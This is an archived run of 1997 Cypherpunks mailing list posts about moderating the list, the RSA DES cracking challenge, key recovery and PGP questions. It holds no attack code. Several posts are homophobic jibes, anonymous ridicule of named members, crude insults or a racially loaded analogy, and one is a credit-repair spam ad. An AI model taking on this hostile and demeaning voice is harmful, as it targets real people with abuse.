Message-ID: <v03007822aef8ebe9acd7@[207.93.129.86]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:40 PM -0800 1/7/97, Greg Broiles asks:
>Can you name a software package which runs under Windows or the Mac OS
>which automatically processes reviewers' opinions against a mailbox of
>incoming mail? Better yet, can you name a Eudora plug-in which does so?

An opportunity for somebody who doesn't already do enough programming.

As for the whole moderation idea, consider officially defining the list to
be "occasionally moderated".  If the abuse is bad, start moderating it.  If
there get to be few problems, stop moderating it.  (A separate issue is
whether to tell anyone which way the list is currently running.)


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:32:33 -0800 (PST)
To: cypherpunks@count04.mry.scruznet.com
Subject: Re: Moderation=YES
In-Reply-To: <199701070913.BAA17074@count04.mry.scruznet.com>
Message-ID: <32D33C4F.757D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@count04.mry.scruznet.com wrote:

> BTW this account is being deleted tonite and I will gladly resubscribe
> to a moderated list under a different name and host.domain than cypherpunk

Dale,
  This is the second post you've received today that says, 
  "Touched you last...bye!"

  You certainly seem to bring out the 'child' in people.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:32:43 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation=YES
In-Reply-To: <ic56ZD6w165w@bwalk.dm.com>
Message-ID: <32D33E1E.1CC4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> But now you advocate censorship. If you don't want to listen to
> Dale, it's your private choice (and your loss).  But you want to impose
> your choice on others.  You don't want me to be able to listen to Dale or
> Dale to be able to listen to me, even when it's out of your hearing.
> You want Ray Arachelanian to be able to post lies about people and his
> victims to be unable to refute his libel in the same forum.

  If I had a dime for everyone who wants to make my life 'better' by
'protecting' me from 'bad people' (others, not 'them'), then I'd be
able to contribute to CypherPunks under the 'dollar a post' system
evisioned by the guy (I have escaped his name) willing to put a few
gallons of gas less in his Cadillac every week so that his viewpoint
won't have any competition from the masses.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 20:00:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970107183351.8693B-100000@polaris>
Message-ID: <8N27ZD20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> writes:

> On Mon, 6 Jan 1997, Dale Thorn wrote:
>
> > You must be in bed with Sandfort.
>
> Disappointed?

Are you gay, Herr Unicorn?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:34:24 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Moderation=YES
In-Reply-To: <Pine.SUN.3.91.970107140117.3639A-100000@beast.brainlink.com>
Message-ID: <32D34300.38D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> Filters aren't intelligent enough.  How do you propose to filter out the
> anonymous dialy warnings about Tim May?

 I keep hearing about how moderation is essential to get rid of the
noise
so that 'code writers' can have serious discussions.
 Am I to understand that I am expected to have some kind of esoteric
faith in 'code writers' cryptographic output, when they can't even
write a filter that meets their own requirements?

> Even our friend Vulis has sane posts when he takes his medication (though
> I suspect he does so rarely.)  Filtering out everything he posts doesn't
> make sense, as reading the sane stuff will have some value.  I don't want
> to miss what he says when it is worth my time to read it.

  Exactly. And I don't know how 'any' moderator is going to satisfy your
personal desires, and mine, and those of several thousand others.
  I don't know 'Sandy' from spit, and it doesn't really matter to me
whether he is God or the SpamMan.  He may be the most well-intentioned
person in the universe, but if he can psychically divine what
'everybody'
wants, I'll kiss your butt.

> The proposed scheme should not affect anyone in any way.  Those who want
> the filtered list will get it, those who want the spams and flames and
> ads and turds will get them, those who want it all will also get them.

  Split lists won't lead to 'harmony', it will lead to 'fractation'.
Putting up a sign that says, "Flamers must sit in the back of the bus."
seems like a good idea.  The fact is, however, that it leads to a
society with a structured class system, and history has already told
us where it goes from there.
  Blacks have always had the option of 'going back to Africa, where they
came from'. (It's a 'free' country, isn't it?)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Tue, 7 Jan 1997 01:49:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Upcoming DES Challenge
Message-ID: <85263054520588@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


Orbital mind control lasers made mpd@netcom.com (Mike Duvos) write:
 
>Peter Trei (trei@process.com) writes:
>>1. I'm astonished at the low level of reaction RSA's announcement that they 
>>will be sponsoring a DES Challenge, with a $10,000 cash prize.
>I'm certainly jumping up and down and cheering.  I said a while back that the 
>life expectancy of DES would be about two weeks if anyone forked over serious 
>cash.
 
I'm still a bit nervous about what the reaction will be though - won't the 
US government (and anyone else pushing DES) be able to say "It took 10,000 
Pentiums several weeks, noone would bother doing that, so it's safe" (with a 
possible side order of "Safer-SK64 is 256 times as secure, anyone we really 
like can use that provided they hand over the keys in advance").
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:32:46 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <Pine.SUN.3.91.970107121200.29778A-100000@beast.brainlink.com>
Message-ID: <32D343DB.39E0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> 
> On Mon, 6 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> > I.e., libel from Timmy May, Ray Arachelian, and the rest of the gang
> > is approved automatically, and when a victim tries to defend himself
> > and to point out that Timmy May is a liar, the response is delayed
> > and probably rejected by the moderator.
> 
> You are far from being the victim of anything.  If anything you're a big
> huge thug who spams the list, posts racist flames, posts homophobic
> flames, uses social engineering to find out info on his "enemies" and
> then posts that info online with requests that others send flames to that
> person's employers.

  Yes, Ray, but he has his 'bad' side, too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 7 Jan 1997 23:05:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Upcoming DES Challenge
Message-ID: <199701080705.XAA04904@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:49 PM 1/7/97, pgut001@cs.auckland.ac.nz wrote:
>Orbital mind control lasers made mpd@netcom.com (Mike Duvos) write:
> 
>>Peter Trei (trei@process.com) writes:
>>>1. I'm astonished at the low level of reaction RSA's announcement that they 
>>>will be sponsoring a DES Challenge, with a $10,000 cash prize.
>>I'm certainly jumping up and down and cheering.  I said a while back that the 
>>life expectancy of DES would be about two weeks if anyone forked over serious 
>>cash.
> 
>I'm still a bit nervous about what the reaction will be though - won't the 
>US government (and anyone else pushing DES) be able to say "It took 10,000 
>Pentiums several weeks, noone would bother doing that, so it's safe" (with a 
>possible side order of "Safer-SK64 is 256 times as secure, anyone we really 
>like can use that provided they hand over the keys in advance").

This was exactly my concern months ago.  PC's are remarkably _inefficient_ 
systems for attempting to crack codes.  I recall estimating, quite 
approximately, that it might take somewhere about $500,000 of electricity 
cost alone to check all 2**56 possible decrypts, most of which is going to 
power unnecessary components.  (monitors, hard drives, sound cards, modem 
cards, etc, etc, etc.)   By doing the decrypts on PCs (term used 
generically; it applies just as well to Mac's, PowerPC's, DEC Alpha's, etc)  
we make it look like DES is better than it really is.

But I'm under no illusion.  As the saying went, "When the only tool you have 
is a hammer, you treat every problem as if it were a nail.)  People have 
PC's, and will use them.  Let me suggest, however, that somebody familiar 
with the details of DES and FPGA's (or other kinds of high-density 
programmable logic) figure out a ballpark estimate of how much it would cost 
to implement a minimalist DES-cracker in hardware.  Don't do it, just 
estimate it.  Then, when somebody has finally cracked that DES message and 
someone the news media is trying to suggest that this was an expensive 
effort, a more economical figure will be quotable.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:33:05 -0800 (PST)
To: Bruce Schneier <schneier@counterpane.com>
Subject: Re: RSA and Cylink settle
In-Reply-To: <v03007801aef80803b772@[206.11.192.107]>
Message-ID: <32D34873.56D2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bruce Schneier wrote:
>  This agreement turns long-time antagonists into companies
> that are already exploring ways of working together constructively,
> to the benefit of the industry as a whole."

  They're going to see if, together, they can screw everyone else.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Tue, 7 Jan 1997 15:15:10 -0800 (PST)
To: cryptography@c2.org
Subject: Re: The Upcoming DES Challenge
Message-ID: <19970107231051.1088.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


There is nothing unglamorous about a known plaintext attack, if the
plaintext is choosen carefully. I don't know anything about bank ATMs
and the protocols they use, but I presume the PIN is stored on the card
single DES encrypted. If this is so, anyone can take an ATM card, attack it
to recover the key and then use that key to recover the PIN for any stolen
ATM card of that bank (or that branch). Hopefully, the ciphertext/plaintext
pair that RSA announces will be a real target like this, with the actual key
disabled. Once the key is recovered, the press can then claim that ATM
cards are not safe any longer.

On a related note, do you think the key will first be recovered by a
hardware device or by the Great Internet DES Key Search? Hardware is
much faster, but no such device exists in the private/amateur sector
now. Estimates are that it will take 10 months to actually build such
a device. Opinions?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Tue, 7 Jan 1997 20:43:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation
Message-ID: <9701080426.AA01743@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May's sexual life is not the business 
of the cypherpunks mailing list.

       o)__
      (_  _`\ Tim C. May
       z/z\__)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:33:22 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: To pay credit when it's due
In-Reply-To: <199701070650.AAA03188@manifold.algebra.com>
Message-ID: <32D34D6D.CDB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> I forgot to mention that during the design phase of my robomod I have
> received a number of thoughtful and helpful advices from Dr. Dimitri
> Vulis KOTM, mostly regarding authentication protocols, as well as some
> other programming matters.
> 
> For example, a suggestion to add an option requiring all preapproved
> posters to sign their articles was originally made by him.

  As was the suggestion to automatically authenticate any posting
containing the word 'cocksucker'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 22:30:03 -0800 (PST)
To: spanky@europa.com
Subject: Re: About ICF(International Cryptography Framework)
In-Reply-To: <32D2E95B.614E@europa.com>
Message-ID: <32D35219.7107@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Starr wrote:
> 
> Has anyone heard anything or been paying attention to the development of
> the ICF(International Cryptography Framework) standard.  This seems to
> be an attempt of the US Gov and a FEW of our favorite corps to
> completely control cryptography standards as well as to have the keys to
> all cryptographical content.

  It's not an 'attempt', its a 'done deal'.
  The new 'laws' have pretty much already been written to control 
cryptography world-wide. The only thing left is for the Big Boys
to fight over control (and the spoils).
  I have a relative involved in this farce.  For as long as I have
known him, he has always tended to get a 'pained' expression on his
face every time words like 'freedom' or 'rights' get slipped into
a conversation.

> I've also managed to get a hold of Ray Bamford (ray_bamford@hp.com)at HP
> who seems to have some PR role in this wool over the eyes attempt.

  When you use the word 'censorship', does he counter-attack with the
word 'moderation'?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 7 Jan 1997 14:59:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sandy is God...Listen to Him!
Message-ID: <199701072258.XAA06785@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Don't understand all this issue about Sandy and John filtering the list.
Don't we want order and control? We need Sandy to decide whether our
articles should be read by others.

Sandy is our spokesman, our leader, our navigator. When he founded the
Cypherpunks group, he wanted ``order and control, ``and now he has been
forced to re-assume control of the group to put controls in place.

Hey, if Sandy and John say we have to stick to certain topics, well,
dammit, they are in control and we have to do what they want.

Sandy and John are our leaders. Forget this stuff about the Cypherpunks
list being a group seperate from toad.com. Forget this idea that John is
just the host of the list...he is actually the co-controlled. And we'd
better pay attention.

Why didn't Sandy and John just announce a new filtered list, like Blossom
has? Why make their control the default for the whole list, with the the
unfiltered list harder to subscribe to and eventually to go away
completely? Good questions!

Ask not the reasons for God's decissions. This is Sandy's list, and John's
machine, and if they say they know best what is a flame and what is not, I
say we should just take our medicine and learn to love their wise
decisions. If they say we can only write flames if they approve, OK. If
they say we must only write about libertarian topics, OK. If they reject
our messages without explanation, OK.

Sandy is our Leader. And anyone who doesn't respect our Leader should just
leave.

Bye

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

07dTgUBMs4Q8hvikii9febJAQEbrAQAmgwAeqSsi2qIkqakNRPCpwCwNnYudNop
zyxE2LueC+WuhugtLeyDDet+WgefE9X84F4qxn/QVB+tJAGbZzfCPO24shelX21k
mk80oevKqzcfAAzbB4tMtXe5gl6+zykExXjsx4J/KjMNPL0QAE490uvnKqus/a2H
0l2AU9k/Kp8=
=ix2B
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 22:30:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Lane Stipes
In-Reply-To: <3.0.32.19970107201515.00697dd0@future.net>
Message-ID: <32D35A5D.6056@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bob Hawbaker wrote:

> ____________________________________
> Remember, the people who paint lane stripes on the road
> of life probably have different objectives than you do.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 22:30:24 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: your mail
In-Reply-To: <199701072308.RAA02919@smoke.suba.com>
Message-ID: <32D35B01.68B3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
>      Hmmm.... I must have taken a wrong turn somewhere. I thought this was
> america, land of the free. Can anyone give me directions on how to get there
> from here...

  Take a 'left' at the White House, and a 'right' at the House of
Congress.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: native@media.com (L.B. Done)
Date: Tue, 7 Jan 1997 16:36:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: How To Repair "YOUR OWN " Credit !
Message-ID: <199701080030.TAA15728@sun1.flinet.com.>
MIME-Version: 1.0
Content-Type: text/plain


CREDIT REBUILDING OF AMERICA
 * REBUILD YOUR OWN CREDIT*

PLEASE FORGIVE THIS E-MAIL INTRUSION BUT IF YOU CAN USE THIS SERVICE?   PLEASE KEEP
READING! ***  
                                                                                 
   Have you ever been turned down after you applied for a credit card,
department store card, or a gas credit card, or that  new car  you have 
wanted?
   The reason was probably because of something the creditor found on 
your credit report. 
   Thousands of people are DENIED CREDIT because of something that 
appears on their credit report that is not correct OR they would like 
REMOVED from their credit report FOR GOOD!!
    There are many companies out there that can remove tems on your credit 
report but want to charge you any where from $300.00  to  $1,000.00 .   
   "BE CAREFUL", most of these companies can't do anything 
to repair your credit that you can't do yourself  with my  
"CREDIT REPAIR PACKET".
  Once I found out just how the " BIG " companies were doing this, 
I put all the information down on a  simple   twelve step process. 
     ** DO IT YOURSELF **  why pay their high prices to repair your 
credit, when you can do it yourself for only $19.95  plus 2.95  for S&H.
      I spent over two years to perfect this process, and if followed to the 
letter, it  will  work!!!
      HAVE the NEW CAR you want, the CREDIT CARDS  you want.  
You don't have to wait SEVEN to TEN YEARS for these items to be 
 taken off your credit reprot.
DO IT YOUR SELF!! and feel  GOOD AGAIN!!
Just send your check or money order to:

 Robert C. Roy, Jr.
 P.O. Box 1052
 Delray Beach,  Fl.  33447-1052

I will send you by  return mail  the complete twelve step packet so you
can get started  RIGHT NOW!!

SEND NOW!!  due to the  unbelievable  responce for this packet
the  introductory price of $19.95 (+) $2.95 S&H,  will not last long!
HAVE A "GREAT DAY"!  &
THANK YOU FOR YOUR TIME AND ORDER!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pclow <pclow@extol.com.my>
Date: Mon, 6 Jan 1997 17:16:24 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: IWD_ism
Message-ID: <97Jan7.172538gmt+0800.21889@portal.extol.com.my>
MIME-Version: 1.0
Content-Type: text/plain


>John Young wrote:
>>
>>    ... injecting the attackers'  computers with "a polymorphic
>>    virus that wipes out the system, takes it down for weeks."
>
>Looks to me like somebody's trying to land a job writing X-Files
>scripts.


I beg to differ!  Sounds more like Independence Day to me. Is Jeff Goldbum on the list?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 8 Jan 1997 01:55:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM Key Recovery Propaganda on United Airlines
Message-ID: <1.5.4.32.19970108095456.003811e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The commercials between the movie and news show on the airline include an
IBM spot on their new Key Recovery software.  Sigh.

The explanations they gave were mixed; one person was talking about
making sure that if you lose the key that people with a legitimate need
to access the material can do it.  The other example they gave, with
pictures, was along the lines of
"Suppose you're going on vacation and you want to leave a key with
a neighbor to feed the dog.  A safe way to do it would be to put your house
key in a lockbox that needs several keys to open it, and give those keys
to people you trust."  Yeah, right - cops can get in, but Dog's gonna get 
pretty hungry....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 8 Jan 1997 01:08:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Forgery detection
Message-ID: <199701080909.CAA27408@-f>
MIME-Version: 1.0
Content-Type: text/plain


Tim Maya grew a beard to look like his mother.

           /\_/\
          ( x x )
      -oo0-(o o)-0oo- Tim Maya





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AwakenToMe@aol.com
Date: Tue, 7 Jan 1997 23:16:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Commercial Encryption Packages
Message-ID: <970108012908_1416371569@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


How much word has there been on any commercial encryption packages (such as
point n crypt..etc) of any types of backdoors installed in them?
Any comments or knowledge about this would be good edition to the list :)
                              Adam




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Tue, 7 Jan 1997 23:18:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Why are 1024 bit keys the limit right now?
Message-ID: <970108001728_1358519624@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I am just starting at this. I know that part of RSA/PGP's strength comes from
the size key you choose. What prevents someone from writting a 2048 bit key?
Is it because computers can't handle it? Is 1024 top of  the prime number
size right now? Am I way off track? 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 8 Jan 1997 04:06:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: sig. files with PGP
Message-ID: <TCPSMTP.17.1.8.5.59.58.2780269260.1455112@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi there,

I have a question reg. PGP:

If certain parts of an encrypted message are known, does that
compromise the security of the rest of the message?
Example: If I always use a signature file, in plaintext messages as
well as in encrypted messages, could an attacker knowing that
signature file to be part of my encrypted message crack the rest
too?

Please copy replies to my private e-mail, for I am currently not
subscribed to the CP list...

Thanks in advance for your help,

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/* Note: My old key (KeyID: B2728495) has been revoked.      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtN8SjltEBIEF0MBAQEEoQf/TVZO2Z9gr8Jik0SnbfE7VbrORETlD7q3
nqIsU5FY6iCJKmXy9Us/VW6LOyuRr0qAMbM8IAdMaX96P1FFFGoZ+6QAH1txV+xs
i6+w6TKtHmLZDyMaa40hH5F3/sUUECT5MyW59McO2+seX3gYDwi+jLp6XVZq8BFs
uLymgoDmh+NsDXBcOUs9ULCQy8rsu/nYmbwQxlWqhUnPw1o1nnuUGuBZaEfU6xJj
gthebIpjCPh9YAthdI/XxE4bmYmS1AVhL4Fz6cwR9yMQ4JC3eEoZnhIUvFd16w6i
eOo1Og9sD241ksJTjH7lT0qaRAQFh0ccEQoFoCP/7dAesVjwXKjRhg==
=3u9n
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David K. Merriman" <merriman@amaonline.com>
Date: Wed, 8 Jan 1997 06:28:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keyserver Draft
Message-ID: <199701081428.GAA11007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed Jan 08 08:39:12 1997

Having gotten the subject in the spotlight (!), I'd like to clarify a couple 
of points about my draft proposal:

1: it is aimed at supporting _automatic_ realtime - as in supporting 
crypto-aware email packages, so that if an unknown key turns up, the 
encryption program can go out and collect key data _without_ user 
intervention.

2: port "assignment" was arbitrary; if the protocol would work better with a 
single port for send/receive, then "make it so, Number One" :-)

3: I expected that data transfer would work best using ascii text (like 
ascii-fied keys); if something else would work better, so be it.

4: if checksums or other error-detection/correction isn't necessary, then by 
all means, leave it/them out.

I offered the draft as a _proposal_, fully expecting that it would require 
modification, editing, revision, et al. I'm not sufficiently 
pompous/egotistical to believe that I am He Who Knows All.

Too, I have a reasonable idea of my own limitations; I'm simply trying to 
establish *some* kind of common reference point toward a solution of 
something I see as a possible problem. Happily, I haven't received any 
_personal_ flames, the comments I've received have been 
professional/technical. If I get a brownie point or atta-boy out of this, 
cool. If not, that's fine, too, _as long as the problem is addressed_.

I didn't dare propose anything so grand as a distributed system - it seemed 
that a variation of DNS would handle that.

We return you now to FlameFest '97 :-)

Dave Merriman


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtMI1sVrTvyYOzAZAQH5fgP+M5kJntTNM+LWd67jt+WGoiGLq8SdRwCa
0MljMYuO0oMzgiTrMTchNaj+cxtVkyUrzz+cgj3XQdJF6cdRlDnSW9xGV9rJJC/B
lPf6RD9Vp5Pih9KkqWc+DqKMynGzEm1WXvNZKHDtn3/1etkv0RsEeQejqdNG+5dI
rfZhi4xp9mk=
=1Pcn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 8 Jan 1997 07:09:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation
Message-ID: <199701081509.HAA09972@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> Oh, of course, since you spammed the list with so much vitriol and flames,
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^
You mispeled "since you challenged John Gilmore to remove you from
the list".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pierre Uszynski <pierre@rahul.net>
Date: Wed, 8 Jan 1997 07:19:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment
In-Reply-To: <3.0.32.19970107164034.006b6044@mail.io.com>
Message-ID: <199701081518.AA22101@waltz.rahul.net>
MIME-Version: 1.0
Content-Type: text/plain



> >Rich Graves <rcgraves@disposable.com> very correctly mentions:
> >> 1) Moderator liability and anonymous posting.

> At 09:37 AM 1/7/97 -0800, Pierre Uszynski agreed:
> >I agree that this is actually a critical problem with a filtering
> >moderation scheme. Such a scheme appears to provide the capability to
> >filter out possible "copyright violations" posts. From what I remember
> >of the Netcom/CoS case (without going back to the sources), that may
> >mean more liability for the reviewers (and the operator of the
> >machine). That's a major point against simple filtering moderation.

gbroiles@netbox.com (Greg Broiles) continues:
> [...] I'm not sure it's a big problem. I see three broad categories of
> information which the moderation liability scheme may suppress:[...]

I think I went a bit in the wrong direction mentioning Netcom/CoS:

1) The problem is not so much what posts are "legal" or "illegal", as
it is what posts *could* bring in lawsuits and what effect this has on
the moderators. Not everyone evaluates that "Sword of Damocles" threat
identically: Some argue it is statistically irrelevant, some argue that
their pockets are not tempting targets anyway, some are in different
countries (and have not noticed it does not matter anymore), etc...

The point is that

2) The above "do I dare approve this post" equation is clearly not the
one that determines whether a post is good cypherpunks material or
not.  I do not want this liability issue to matter in any way in the
moderators ratings (no matter how Sandy and John would themselves
resolve it) if we can help it. And we can.

and

3) This equation would seriously affect how *I* would offer help in a
filtering moderation scheme: I most likely would not (whether or not
anyone would be interested in me participating, and my decision for
reasons that are not relevant, etc...) Again, that's the wrong reason
brought into the discussion: the right reasons would be "do I have the
time now?" (hah! ;-), "do I currently read in sync with incoming
traffic?", and "do I want to participate?".

> Can you name a software package which runs under Windows or the Mac OS
> which automatically processes reviewers' opinions against a mailbox of
> incoming mail?[...]

I spend a ridiculous portion of my time fixing the damage caused by
software that was used just because "it was there". Just because there
is software to do^H^H, sorry, to botch something under Windows is not
reason enough to use it, and even less of a reason to limit ourselves
to these options. Yes, some people couldn't use the *option* initially,
and others could (with ready software or by writing their own). Too
bad.  As someone else mentioned, that's an opportunity (and there must
be a cross-platform java mail reader somewhere that can be modified or
written to satisfy lots of platforms at once), and cypherpunks wouldn't
be the only forum moving toward "after-the-fact cooperative
filtering"...

> [Greg Broiles
> US crypto export control policy in a nutshell:
> Export jobs, not crypto.]

Great summary,

Pierre.
pierre@rahul.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 05:40:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <32D2F907.2748@gte.net>
Message-ID: <qyq8ZD21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> The Wall Street Cabal (as they say) was genuinely frightened that since
> Milken was so successful with high-yield bonds, they deliberately created
> the term Junk Bonds and flooded the markets with appropriate propaganda,
> and thereby killed off their competition.  How they turned it into a
> criminal offense is truly an art.

Before Milken, it was impossible for a small company or municipality without
a stellar credit history to sell bonds to the public. They had to borrow
from the Wall St Cabal at usurious rates. Milken made it possible for them
to bypass the Cabal. He was convicted of some truly bizarre charges (let
Uni explain what exactly he was guilty of) and given a truly bizarre
sentense by judge Kimba Wood (who, by the way, was Clinton's first choice
for AG before Rhyno). Still, his brainchild, junk bonds, are alive and well.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Tunnicliffe" <Tunny@inference.com>
Date: Wed, 8 Jan 1997 08:00:51 -0800 (PST)
To: "'AaronH4321@aol.com>
Subject: RE: Why are 1024 bit keys the limit right now?
Message-ID: <c=US%a=_%p=Inference%l=LANDRU-970108155742Z-8231@landru.novato.inference2.com>
MIME-Version: 1.0
